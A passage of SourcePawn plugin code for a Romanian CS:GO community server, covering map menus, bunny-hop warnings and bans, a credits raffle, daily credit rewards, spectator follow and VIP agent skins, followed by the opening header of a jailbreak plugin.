	else if(GetPlayedHours(client) >= 100.0) return 5;
	else if(GetPlayedHours(client) >= 75.0) return 4;
	else if(GetPlayedHours(client) >= 50.0) return 3;
	else if(GetPlayedHours(client) >= 25.0) return 2;
	else if(GetPlayedHours(client) >= 15.0) return 1;
	return 0;
}

public void OnEventShutdown()
{
	UnhookEvent("player_death",PlayerDeath);
}

public void OnMapEnd()
{
	char sPath[PLATFORM_MAX_PATH];
	BuildPath(Path_SM, sPath, sizeof(sPath), "configs/graphics.txt");
	if(FileExists(sPath))
	{
		Handle h;
		if(FileToKeyValues((h=CreateKeyValues("Graphics")), sPath))
		{
			int amount_of_banners = KvGotoFirstSubKey(h);
			while(KvGotoNextKey(h))
			{
				amount_of_banners++;	
			}
			if(amount_of_banners != 1)
			{
				delete h;
				static int current_banner;
				if(++current_banner > amount_of_banners) current_banner = 1;
				FileToKeyValues(h=CreateKeyValues("Graphics"), sPath);
				IntToString(current_banner, sPath, 3);
				KvJumpToKey(h, sPath);
			}
			KvGetString(h, "file", sPath, PLATFORM_MAX_PATH);
			SetConVarString(FindConVar("sv_server_graphic1"), sPath);
		}
		else
		{
			LogError("Failed load %s!", sPath);
		}
		delete h;
	}
	else
	{
		LogError("File not found: %s!", sPath);
	}
}



public Action Comanda_NextMap(int client, int args)
{
	if (client && !IsClientInGame(client))
		return Plugin_Handled;
		
	char map[PLATFORM_MAX_PATH];
	GetNextMap(map, sizeof(map));
	GetMapDisplayName(map, map, sizeof(map));
	PrintToChatAll(" \x05[BOT]ESL\x01: Următoarea mapă este\x10 %s\x01.", map);
	return Plugin_Handled;
}


public Action Comanda_SaySounds(int client, int args)
{
	if(IsClientRealVip(client))
	{
		Menu meniu_say = new Menu(SaySoundsHandler);
		meniu_say.SetTitle("Lista cu sunete disponibile");
		for(int i = 0; i < sizeof(SaySounds); ++i)
		{
			meniu_say.AddItem("%s", SaySounds[i], ITEMDRAW_DISABLED);
		}
		meniu_say.ExitButton = true;
		meniu_say.Display(client, MENU_TIME_FOREVER);
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai nevoie de \x10V.I.P Premium\x01 pentru a avea acces la acestă comandă!");
	}
	return Plugin_Handled;
}


public int SaySoundsHandler(Menu menu, MenuAction action, int param1, int param2)
{
	switch(action)
	{
		case MenuAction_End:
		{
			delete menu;
		}
	}
}

public void OnEntityCreated(int entity, const char [] classname)
{
	if (StrContains(classname, "_projectile") != -1)
	{
		CreateTimer(0.0, Timer_Post, EntIndexToEntRef(entity));
	}
}

public Action Timer_Post(Handle timer, any entity)
{
	int realEntity = EntRefToEntIndex(entity);
	if (realEntity > 0 && IsValidEntity(realEntity))
		SetEntData(realEntity, g_offsCollisionGroup, 2, 4, true);
}

public Action Comanda_WarnBhop(int client, int args)
{	
	if(args < 1)
	{
		ReplyToCommand(client, "sm_warnbhop nume");
		return Plugin_Handled;
	}
	
	char arg1[64];
	GetCmdArg(1, arg1, sizeof(arg1));
	int target = FindTarget(client, arg1, true, false);
	
	if(target == -1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06Jucătorul nu a fost găsit!");
		return Plugin_Handled;
	}
	
	if(warnbhop[target] == 3)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06%N\x01 are deja\x10 3 \x01warn-uri!", target);
	}
	else
	{
		warnbhop[target] += 1;
		if(warnbhop[target] == 3)
		{
			PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 i-a adăugat un warn-bhop lui \x10%N\x01. \x10Warn-Bhop\x01: \06%i \x01/\x06 3\x01.", client, target, warnbhop[target]);
			PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 a primit ban la bhop.", target);
		}
		else
		{
			PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 i-a adăugat un warn-bhop lui \x10%N\x01. \x10Warn-Bhop\x01: \06%i \x01/\x06 3\x01.", client, target, warnbhop[target]);
		}
		char logwarnbhop[PLATFORM_MAX_PATH];
		BuildPath(Path_SM, logwarnbhop, sizeof(logwarnbhop), "configs/mycompetitive_xsag/loguri/bhop.log");
		LogToFileEx(logwarnbhop, "[WARN] %N i-a adaugat un warn-bhop lui %N. Are %i / 3 warn-uri.", client, target, warnbhop[target]);
	}
	return Plugin_Handled;
}

public Action Comanda_UnWarnBhop(int client, int args)
{	
	if(args < 1)
	{
		ReplyToCommand(client, "sm_unwarnbhop nume");
		return Plugin_Handled;
	}
	
	char arg1[64];
	GetCmdArg(1, arg1, sizeof(arg1));
	int target = FindTarget(client, arg1, true, false);
	
	if(target == -1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06Jucătorul nu a fost găsit!");
		return Plugin_Handled;
	}
	
	if(warnbhop[target] == 0)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06%N\x01 are \x10 0 \x01warn-uri!", target);
	}
	else
	{
		warnbhop[target] -= 1;
		if(warnbhop[target] == 2)
		{
			PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 i-a șters un warn-bhop lui \x10%N\x01. \x10Warn-Bhop\x01: \06%i \x01/\x06 3\x01.", client, target, warnbhop[target]);
			PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 a primit unban la bhop.", target);
		}
		else
		{
			PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 i-a șters un warn-bhop lui \x10%N\x01. \x10Warn-Bhop\x01: \06%i \x01/\x06 3\x01.", client, target, warnbhop[target]);
		}
		char logwarnbhop[PLATFORM_MAX_PATH];
		BuildPath(Path_SM, logwarnbhop, sizeof(logwarnbhop), "configs/mycompetitive_xsag/loguri/bhop.log");
		LogToFileEx(logwarnbhop, "[UNWARN] %N i-a sters un warn-bhop lui %N. Are %i / 3 warn-uri.", client, target, warnbhop[target]);
	}
	return Plugin_Handled;
}

public Action Comanda_UnBanBhop(int client, int args)
{	
	if(args < 1)
	{
		ReplyToCommand(client, "sm_unbanbhop nume");
		return Plugin_Handled;
	}
	
	char arg1[64];
	GetCmdArg(1, arg1, sizeof(arg1));
	int target = FindTarget(client, arg1, true, false);
	
	if(target == -1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06Jucătorul nu a fost găsit!");
		return Plugin_Handled;
	}
	
	if(warnbhop[target] >= 0 && warnbhop[target] < 3)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06%N\x01 nu are ban la bhop!", target);
	}
	else
	{
		warnbhop[target] = 0;
		PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 i-a dat unban la bhop lui \x10%N\x01. \x10Warn-Bhop\x01: \06%i \x01/\x06 3\x01.", client, target, warnbhop[target]);
		char logwarnbhop[PLATFORM_MAX_PATH];
		BuildPath(Path_SM, logwarnbhop, sizeof(logwarnbhop), "configs/mycompetitive_xsag/loguri/bhop.log");
		LogToFileEx(logwarnbhop, "[UNBAN] %N i-a dat unban la bhop lui %N. Are %i / 3 warn-uri.", client, target, warnbhop[target]);
	}
	return Plugin_Handled;
}

public Action Comanda_BanBhop(int client, int args)
{	
	if(args < 1)
	{
		ReplyToCommand(client, "sm_banbhop nume");
		return Plugin_Handled;
	}
	
	char arg1[64];
	GetCmdArg(1, arg1, sizeof(arg1));
	int target = FindTarget(client, arg1, true, false);
	
	if(target == -1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06Jucătorul nu a fost găsit!");
		return Plugin_Handled;
	}
	
	if(warnbhop[target] == 3)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06%N\x01 are deja ban la bhop!", target);
	}
	else
	{
		warnbhop[target] = 3;
		PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 i-a dat ban la bhop lui \x10%N\x01. \x10Warn-Bhop\x01: \06%i \x01/\x06 3\x01.", client, target, warnbhop[target]);
		char logwarnbhop[PLATFORM_MAX_PATH];
		BuildPath(Path_SM, logwarnbhop, sizeof(logwarnbhop), "configs/mycompetitive_xsag/loguri/bhop.log");
		LogToFileEx(logwarnbhop, "[BAN] %N i-a dat ban la bhop lui %N. Are %i / 3 warn-uri.", client, target, warnbhop[target]);
	}
	return Plugin_Handled;
}

public Action Comanda_CastigTombola(int client, int args)
{	
	if(GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		if(RoundCountVote >= 0 && RoundCountVote <= 16)
		{
			totalcreditetombola = 50 + (tombolacredite / 2);
			PrintToChat(client, " \x05[BOT]ESL\x01: Tombola de pe această mapă are un câștig de \x06%i\x10 credite\x01.", totalcreditetombola);
		}
		else
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Tombola de pe această mapă a luat sfârșit!");
		}
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Poți afla ce câștig este la tombolă după WarmUp!");
	}
	return Plugin_Handled;
}

public Action Comanda_Tombola(int client, int args)
{	
	if(GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		if(RoundCountVote >= 0 && RoundCountVote <= 16)
		{
			int numarrunde = 16 - RoundCountVote;
			PrintToChat(client, " \x05[BOT]ESL\x01: Mai sunt \x06%i\x01runde până la extragere.", numarrunde);
		}
		else
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Tombola de pe această mapă a luat sfârșit!");
		}
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Poți afla câte runde mai sunt până la extrage după WarmUp!");
	}
	return Plugin_Handled;
}

public Action Comanda_InfoTombola(int client, int args)
{	
	if(GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		if(RoundCountVote >= 0 && RoundCountVote <= 16)
		{
			totalcreditetombola = 50 + (tombolacredite / 2);
			int numarrunde = 16 - RoundCountVote;
			PrintToChat(client, " \x05[BOT]ESL\x01: Mai sunt \x06%i\x01 runde până la extragere.", numarrunde);
			PrintToChat(client, " \x05[BOT]ESL\x01: Tombola de pe această mapă are un câștig de \x06%i\x10 credite\x01.", totalcreditetombola);
		}
		else
		{
			PrintToChat(client, " \x05[BOT]ESL\x01: Tombola de pe această mapă a luat sfârșit!");
		}
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Poți afla informații despre tombolă după WarmUp!");
	}
	return Plugin_Handled;
}


public Action Comanda_LastMap(int client, int args)
{
	if (!IsValidClient(client))
	{
		PrintToChat(client, "[SM] You must be in game to use this command!");
		return Plugin_Handled;
	}
	if (args != 0)
	{
		PrintToChat(client, "[SM] Usage: sm_maphistory");
		return Plugin_Handled;
	}
	
	OpenMapHistoryMenu(client);
	return Plugin_Handled;
}

void OpenMapHistoryMenu(int client)
{
	Menu menu = new Menu(Menu_Callback, MenuAction_Display|MenuAction_Select|MenuAction_Cancel|MenuAction_End);
	menu.SetTitle("Ultimele hărți jucate: ");
	
	AddCurrentMapToMenu(menu, "", ITEMDRAW_DISABLED);
	for (int i = 0; i < GetMapHistorySize() && i < 5; i++)
	{
		AddMapHistoryMapToMenu(menu, i);
	}
	
	menu.Display(client, MENU_TIME_FOREVER);
}

void AddMapHistoryMapToMenu(Menu menu, int index)
{
	char mapName[64], reason[64], intValue[8];
	int startTime;

	IntToString(index, intValue, sizeof(intValue));
	GetMapHistory(index, mapName, sizeof(mapName), reason, sizeof(reason), startTime);
	menu.AddItem(intValue, mapName);
}

void AddCurrentMapToMenu(Menu menu, const char[] info, int flags)
{
	char displayBuffer[128];
	char currentMap[64];
	GetCurrentMap(currentMap, sizeof(currentMap));
	Format(displayBuffer, sizeof(displayBuffer), "%s (Harta curentă)", currentMap);
	menu.AddItem(info, displayBuffer, flags);
}

public int Menu_Callback(Menu menu, MenuAction action, int param1, int param2)
{
	if (!IsValidClient(param1))
	{
		return;
	}
	
	switch (action)
	{
		case MenuAction_Select:
		{
			char sInfo[64];
			int index;
			
			GetMenuItem(menu, param2, sInfo, sizeof(sInfo));
			index = StringToInt(sInfo);
			
			OpenMapSelectionMenu(param1, index);
		}
		case MenuAction_End:
		{
			delete menu;
		}
	}
	return;
}

void OpenMapSelectionMenu(int client, int index)
{
	Menu menu = new Menu(VoidMenu_Callback, MenuAction_Display|MenuAction_Select|MenuAction_Cancel|MenuAction_End);
	menu.SetTitle("Informați: ");
	
	char displayBuffer[128], mapName[64], reason[64];
	int startTime;
	
	GetMapHistory(index, mapName, sizeof(mapName), reason, sizeof(reason), startTime);
	
	char formattedTime[128];
	FormatTime(formattedTime, sizeof(formattedTime), "%I:%M %p", startTime);

	
	Format(displayBuffer, sizeof(displayBuffer), "Denumire: %s", mapName);
	menu.AddItem("", displayBuffer, ITEMDRAW_DISABLED);
	
	Format(displayBuffer, sizeof(displayBuffer), "Ora: %s", formattedTime);
	menu.AddItem("", displayBuffer, ITEMDRAW_DISABLED);
	
	menu.ExitBackButton = true;
	menu.Display(client, MENU_TIME_FOREVER);
}

public int VoidMenu_Callback(Menu menu, MenuAction action, int param1, int param2)
{
	if (!IsValidClient(param1))
	{
		return;
	}
	
	switch (action)
	{
		case MenuAction_Select:
		{
			// do nothing
		}
		case MenuAction_End:
		{
			delete menu;
		}
		case MenuAction_Cancel:
		{
			OpenMapHistoryMenu(param1);
		}
	}
	return;
}


public Action Command_SetNextmap(int client, int args)
{
	if (args < 1)
	{
		ReplyToCommand(client, "sm_setnextmap <nume_mapă>");
		return Plugin_Handled;
	}
	char map[PLATFORM_MAX_PATH];
	char displayName[PLATFORM_MAX_PATH];
	GetCmdArg(1, map, sizeof(map));
	if (FindMap(map, displayName, sizeof(displayName)) == FindMap_NotFound)
	{
		ReplyToCommand(client, "Mapa %s nu se afla în baza de date", map);
		return Plugin_Handled;
	}
	GetMapDisplayName(displayName, displayName, sizeof(displayName));
	PrintToChatAll(" \x05[BOT]ESL\x01: \x06%N\x01 a setat următoarea mapă în \x10%s\x01.", client, displayName);
	SetNextMap(map);
	return Plugin_Handled;
}

public void InitializeDB()
{
	char Error[255];
	db = SQL_Connect("dailycredits", true, Error, sizeof(Error));
	SQL_SetCharset(db, "utf8");
	if (db == INVALID_HANDLE)
	{
		SetFailState(Error);
	}
	SQL_TQuery(db, SQLErrorCheckCallback, "CREATE TABLE IF NOT EXISTS players (steam_id VARCHAR(20) UNIQUE, last_connect INT(12));");
}

public Action Comanda_DailyCredits(int client, int args)
{
	if (!IsValidClient(client)) return Plugin_Handled;
	FormatTime(CurrentDate, sizeof(CurrentDate), "%Y%m%d"); // Save current date in variable
	char steamId[32];
	if (GetClientAuthId(client, AuthId_Steam2, steamId, sizeof(steamId)))
	{
		char buffer[200];
		Format(buffer, sizeof(buffer), "SELECT * FROM players WHERE steam_id = '%s'", steamId);
		SQL_LockDatabase(db);
		DBResultSet query = SQL_Query(db, buffer);
		SQL_UnlockDatabase(db);
		if (SQL_GetRowCount(query) == 0)
		{
			delete query;
			GiveCredits(client, true);
		}
		else
		{
			delete query;
			GiveCredits(client, false);
		}
	}
	else LogError("Failed to get Steam ID");
	
	return Plugin_Handled;
}

stock void GiveCredits(int client, bool FirstTime)
{
	char buffer[200];
	char steamId[32];
	if (GetClientAuthId(client, AuthId_Steam2, steamId, sizeof(steamId)))
	{
		if (FirstTime)
		{
			if(IsClientRealVip(client))
			{
				Credite[client] += 100;
				PrintToChat(client, " \x05[BOT]ESL\x01: Ești \x10V.I.P Premium \x01, ai primit »\x04 100\x01 de credite!");
			}
			else
			{
				Credite[client] += 25;
				PrintToChat(client, " \x05[BOT]ESL\x01: Nu ești \x10V.I.P Premium \x01, ai primit »\x04 25\x01 de credite!");
			}
			Format(buffer, sizeof(buffer), "INSERT IGNORE INTO players (steam_id, last_connect) VALUES ('%s', %d)", steamId, StringToInt(CurrentDate));
			SQL_TQuery(db, SQLErrorCheckCallback, buffer);
		}
		else
		{
			Format(buffer, sizeof(buffer), "SELECT * FROM players WHERE steam_id = '%s'", steamId);
			SQL_LockDatabase(db);
			DBResultSet query = SQL_Query(db, buffer);
			SQL_UnlockDatabase(db);
			SQL_FetchRow(query);
			int date2 = SQL_FetchInt(query, 1);
			delete query;
			int date1 = StringToInt(CurrentDate);
			
			
			//streak is currently continuing
			if ((date1 - date2) == 1)
			{
				if(IsClientRealVip(client))
				{
					Credite[client] += 100;
					PrintToChat(client, " \x05[BOT]ESL\x01: Ești \x08V.I.P Premium \x01, ai primit »\x04 100\x01 de credite!");
				}
				else
				{
					Credite[client] += 25;
					PrintToChat(client, " \x05[BOT]ESL\x01: Nu ești \x08V.I.P Premium \x01, ai primit »\x04 25\x01 de credite!");
				}
				Format(buffer, sizeof(buffer), "UPDATE players SET last_connect = %i WHERE steam_id = '%s'", date1, steamId);
				SQL_TQuery(db, SQLErrorCheckCallback, buffer);
			}
			//already recieved credits today
			else if ((date1 - date2) == 0)
			{
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai primit deja creditele pentru astăzi, încearcă din nou mâine!");
			}
			//streak ended
			else if ((date1 - date2) > 1)
			{
				if(IsClientRealVip(client))
				{
					Credite[client] += 100;
					PrintToChat(client, " \x05[BOT]ESL\x01: Ești \x08V.I.P Premium \x01, ai primit »\x04 100\x01 de credite!");
				}
				else
				{
					Credite[client] += 25;
					PrintToChat(client, " \x05[BOT]ESL\x01: Nu ești \x08V.I.P Premium \x01, ai primit »\x04 25\x01 de credite!");
				}
				Format(buffer, sizeof(buffer), "UPDATE players SET last_connect = %i WHERE steam_id = '%s'", date1, steamId);
				SQL_TQuery(db, SQLErrorCheckCallback, buffer);
			}
		}
	}
	else LogError("Failed to get Steam ID");
}

public void SQLErrorCheckCallback(Handle owner, Handle hndl, const char[] error, any data)
{
	if (!StrEqual(error, ""))
		LogError(error);
} 

public Action CommandObserve(int client, int args)
{
	if(GetCmdArgs() < 1)
	{
		ReplyToCommand(client, "sm_folllow nume");
		return Plugin_Handled;
	}
	char targetName[MAX_NAME_LENGTH], targetSteamID[MAX_NAME_LENGTH];
	GetCmdArg(1, targetName, sizeof(targetName)); //get username part from arguments
	int targetClient = FindTarget(client, targetName, false, false);
	if(GetClientTeam(client) != CS_TEAM_SPECTATOR)
	{
    	PrintToChat(client, " \x05[BOT]ESL\x01: Trebuie să fii la spectator!");
		return Plugin_Handled;
	}
	if(targetClient == -1)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Jucătorul nu a fost găsit.");
		return Plugin_Handled;
	}
	GetClientName(targetClient, targetName, sizeof(targetName));
	GetClientAuthId(targetClient, AuthId_Steam2, targetSteamID, sizeof(targetSteamID));
	g_clientObserveTarget[client] = targetClient;
	PrintToChat(client, " \x05[BOT]ESL\x01: Îl urmărești pe \x06%s\x01[\x10%s\x01].", targetName, targetSteamID);
	return Plugin_Handled;
}

public Action CommandEndObserve(int client, int args)
{
	g_clientObserveTarget[client] = 0;
	PrintToChat(client, " \x05[BOT]ESL\x01: Modul de urmărire a fost dezactivat.");
	return Plugin_Handled;
}


public Action EventPlayerDeathFollow(Handle event, const char[] name, bool dontBroadcast)
{
	int userId = GetEventInt(event, "userid");
	if (!g_isCSGO)
	{
		Timer_Death(INVALID_HANDLE, userId);
	}
	else
	{
		CreateTimer(GetConVarFloat(g_hSpec_freeze_time) + 
		GetConVarFloat(g_hSpec_freeze_traveltime) + 
		GetConVarFloat(g_hSpec_freeze_deathanim_time) +
		0.1, Timer_Death, userId ); //0.1 is needed; tested
	}
	return Plugin_Handled;
}

public Action EventPlayerSpawnFollow(Handle event, const char[] name, bool dontBroadcast)
{
/* Suggestions for improvement, or single-shot method? */
	int target = GetClientOfUserId(GetEventInt(event, "userid"));
	for(int client = 1; client <= MaxClients; client++)
	{
		if(g_clientObserveTarget[client] == target && (IsClientObserver(client) || !IsPlayerAlive(client)))
		{
			SetClientObserver(client, target, true);
			return Plugin_Handled;
		}
	}
	return Plugin_Handled;
}

	
public bool SetClientObserver(int client, int target, bool sendMessage)
 {
	if(!isValidHumanClient(client) || !isValidHumanClient(target))
	{
		return false;
	}
	SetEntDataEnt2(client, g_offObserverTarget, target, true);
	if(sendMessage)
	{
		SendClientObserveMessage(client, target);
	}
	return true;
}

public bool isValidHumanClient(int client)
{
	if(client > 0 && IsClientInGame(client) && IsClientConnected(client))
	{
		return true;
	}
	return false;
}

public void SendClientObserveMessage(int client, int target)
{
	char targetName[MAX_NAME_LENGTH], targetSteamID[65];
	GetClientName(target, targetName, MAX_NAME_LENGTH);
	GetClientAuthId(target, AuthId_Steam2, targetSteamID, sizeof(targetSteamID));
	PrintToChat(client, " \x05[BOT]ESL\x01: Îl urmărești pe \x06%s\x01[\x10%s\x01].", targetName, targetSteamID);
}

public Action Timer_Death(Handle timer, any userId)
{
	int client = GetClientOfUserId(userId);
	if (g_isCSGO && client > 0 && IsClientInGame(client) && IsPlayerAlive(client))
	{
		return Plugin_Handled;//prevent late kill messages
	}
	if(g_clientObserveTarget[client] > 0)
	{
		int target = g_clientObserveTarget[client];
		if(!isValidHumanClient(target))
		{
			g_clientObserveTarget[client] = 0;
			return Plugin_Handled;
		}
		if(IsPlayerAlive(target))
		{
			SetClientObserver(client, target, true);
		}
	}
	return Plugin_Handled;
}

public Action Comanda_ShowCredits(int client, int args) 
{ 
	PrintToChat(client, " \x05[BOT]ESL\x01: Ai\x10 %i \x01de credite.", Credite[client]); 
	return Plugin_Handled; 
}

public Action Comanda_ShowBhop(int client, int args) 
{ 
	PrintToChat(client, " \x05[BOT]ESL\x01: Ai \x06%i\x01/\x063 \x01warn-uri.",  warnbhop[client]); 
	return Plugin_Handled; 
}

public Action Comanda_1aprilie(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: Ai căzut în plasă de\x06 1 Aprilie\x01. Scrie \x10!gift\x01, spor la joc!"); 
	ClientCommand(client, "play \"*xsag/sunete/say/1aprilie.mp3\"");
	return Plugin_Handled; 
}
public Action ApplySkin(Handle timer, any client)
{
	char SkinNISMO[255];
	GetClientCookie(client, g_sDataSkin, SkinNISMO, sizeof(SkinNISMO));
	char SkinNISMOXTUNE[255];
	GetClientCookie(client, g_sDataSKIN_CT, SkinNISMOXTUNE, sizeof(SkinNISMOXTUNE));	
	if(GetClientTeam(client) == CS_TEAM_CT && !StrEqual(SkinNISMO, ""))
	{
		if (!IsModelPrecached(SkinNISMO))PrecacheModel(SkinNISMO);
		Entity_SetModel(client, SkinNISMO);
	}else if (GetClientTeam(client) == CS_TEAM_T && !StrEqual(SkinNISMOXTUNE, ""))
	{
		if (!IsModelPrecached(SkinNISMOXTUNE))PrecacheModel(SkinNISMOXTUNE);
		Entity_SetModel(client, SkinNISMOXTUNE);	
	}
}
public Action SpecialSkin3(int client, int args)
{
	if(IsClientRealVip(client))
	{
		Menu menu = CreateMenu(AgencySELECTOR, MenuAction_Select  | MenuAction_End);
		SetMenuTitle(menu, "Choose agent type");
		AddMenuItem(menu, "Reset", "Reset skin");
		AddMenuItem(menu, "DeservedAGENCY", "Distinguished Agent");
		AddMenuItem(menu, "NomineeSDX", "Exceptional Agent");
		AddMenuItem(menu, "PerfectAGNT", "Superior Agent");
		AddMenuItem(menu, "MasterAGENT", "Master Agent");
		DisplayMenu(menu, client, MENU_TIME_FOREVER);	
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai nevoie de \x10V.I.P Premium\x01 pentru a avea acces la acestă comandă!");
	}
}
public int AgencySELECTOR(Menu menu, MenuAction action, int param1, int param2)
{
	switch (action)
	{
		case MenuAction_Select:
		{
			//param1 is client, param2 is item

			char item[64];
			GetMenuItem(menu, param2, item, sizeof(item));
			
			if (StrEqual(item, "DeservedAGENCY"))
			{
				SelectorMENUGEN(param1, 1);
			}
			else if (StrEqual(item, "NomineeSDX"))
			{
				SelectorMENUGEN(param1, 2);
			}
			else if (StrEqual(item, "PerfectAGNT"))
			{
				SelectorMENUGEN(param1, 3);
			}
			else if (StrEqual(item, "MasterAGENT"))
			{
				SelectorMENUGEN(param1, 4);
			}else if(StrEqual(item, "Reset"))
			{
				SetClientCookie(param1, g_sDataSkin, "");
				SetClientCookie(param1, g_sDataSKIN_CT, "");
				PrintToChat(param1, " \x05[BOT]ESL\x01: Skinul tău de agent a fost resetat!");
			}
		}

		case MenuAction_End:
		{
			//param1 is MenuEnd reason, if canceled param2 is MenuCancel reason
			CloseHandle(menu);

		}

	}
}
public void SelectorMENUGEN(int client, int type)
{
	Menu menu = CreateMenu(XCGSelector, MenuAction_Select | MenuAction_End);
	SetMenuTitle(menu, "Choose an agent");
	switch(type)
	{
		case 4://Master Agent
		{
			AddMenuItem(menu, "19", "Lt. Commander Ricksaw | NSWC SEAL");
			AddMenuItem(menu, "20", "Special Agent Ava | FBI");
			AddMenuItem(menu, "21", "The 'Doctor' Romanov | Sabre");
			AddMenuItem(menu, "22", "The Elite Mr. Muhlik | Elite Crew");
		}
		case 3://Superior Agent
		{
			AddMenuItem(menu, "14", "Blackwolf | Sabre");
			AddMenuItem(menu, "15", "Michael Syfers  | FBI");
			AddMenuItem(menu, "16", "''TwoTimes' McCoy | USAF TACP");
			AddMenuItem(menu, "17", "Prof. Shahmat | Elite Crew");
			AddMenuItem(menu, "18", "Rezan The Ready | Sabre");
		}
		case 2://Exceptional Agent
		{
			AddMenuItem(menu, "8", "Markus Delrow | FBI");
			AddMenuItem(menu, "9", "Maximus | Sabre");
			AddMenuItem(menu, "10", "Buckshot | NSWC SEAL");
			AddMenuItem(menu, "11", "Osiris | Elite Crew");
			AddMenuItem(menu, "12", "Slingshot | Phoenix");
			AddMenuItem(menu, "13", "Dragomir | Sabre");
		}
		case 1://Distinguished Agent
		{
			AddMenuItem(menu, "1", "Seal Team 6 Soldier | NSWC SEAL");
			AddMenuItem(menu, "2", "3rd Commando Company | KSK");
			AddMenuItem(menu, "3", "Operator | FBI SWAT");
			AddMenuItem(menu, "4", "Ground Rebel  | Elite Crew");
			AddMenuItem(menu, "5", "Enforcer | Phoenix");
			AddMenuItem(menu, "6", "Soldier | Phoenix");
			AddMenuItem(menu, "7", "B Squadron Officer | SAS");
		}
		default:
		{
			CloseHandle(menu);
		}
	}
	DisplayMenu(menu, client, MENU_TIME_FOREVER);
}
public int XCGSelector(Menu menu, MenuAction action, int param1, int param2)
{
	switch (action)
	{
		case MenuAction_Select:
		{
			char item[64];
			GetMenuItem(menu, param2, item, sizeof(item));
			int SPICK = StringToInt(item);
			char ModelName[255];
			if(SPICK > 0)
			{
				int team = 0;
				switch(SPICK)
				{
					case 6:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_phoenix_varianth.mdl";
					}
					case 12:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_phoenix_variantg.mdl";
					}
					case 5:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_phoenix_variantf.mdl";
					}
					case 17:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_leet_varianti.mdl";
					}
					case 4:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_leet_variantg.mdl";
					}
					case 11:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_leet_varianth.mdl";
					}
					case 14:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_balkan_variantj.mdl";
					}
					case 9:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_balkan_varianti.mdl";
					}
					case 21:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_balkan_varianth.mdl";
					}					
					case 18:
					{
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_balkan_variantg.mdl";
					}
					case 13:
					{ 
						team = 2;
						ModelName = "models/player/custom_player/legacy/tm_balkan_variantf.mdl";
					}
					case 16:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_st6_variantm.mdl";
					}
					case 19:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_st6_varianti.mdl";
					}
					case 10:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_st6_variantg.mdl";
					}
					case 7:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_sas_variantf.mdl";
					}
					case 15:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_fbi_varianth.mdl";
					}
					case 8:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_fbi_variantg.mdl";
					}
					case 20:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_fbi_variantb.mdl";
					}
					case 22:
					{
						team = 2;//T
						ModelName = "models/player/custom_player/legacy/tm_leet_variantf.mdl";
					}
					case 3:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_fbi_variantf.mdl";
					}
					case 1:
					{
						team = 1;//CT
						ModelName = "models/player/custom_player/legacy/ctm_st6_variante.mdl";
					}
					case 2:
					{
						team = 1;
						ModelName = "models/player/custom_player/legacy/ctm_st6_variantk.mdl";
					}
				}
				if(team == 1)
				{
					SetClientCookie(param1, g_sDataSkin, ModelName);
					PrintToChat(param1, " \x05[BOT]ESL\x01: Skinul tău de agent va fi setat runda viitoare!");
				}else if(team == 2)
				{
					PrintToChat(param1, " \x05[BOT]ESL\x01: Skinul tău de agent va fi setat runda viitoare!");
					SetClientCookie(param1, g_sDataSKIN_CT, ModelName);
				}
			}
		}
		case MenuAction_End:
		{
			CloseHandle(menu);
		}
	}
}

Sursa MyJailbreak | Afiseaza codul
/*
 * JailBreak Romania Core
 * by: xSaG
 * 
 * Contact:
 *     - Steam: https://steamcommunity.com/id/xsag69
 *     - Discord: xSaG#8670
 *
 * Copyright (C) 2020 Șerb Alex (xSaG)
 */

/*
*ChangeLog:
*	
*	- Sistem contorizare ore (/ore)
*	- Sistem de zile
*	- Motivul pentru care deținuții au fost aduși la închisoare
*	- Cuțitul a fost scoos și au fost adăugați pumni
*	- Simon-ul este ales random de către server la început de rundă
*	- Radarul a fost eliminat
*	- Adăugat un hud cu diverse infomații
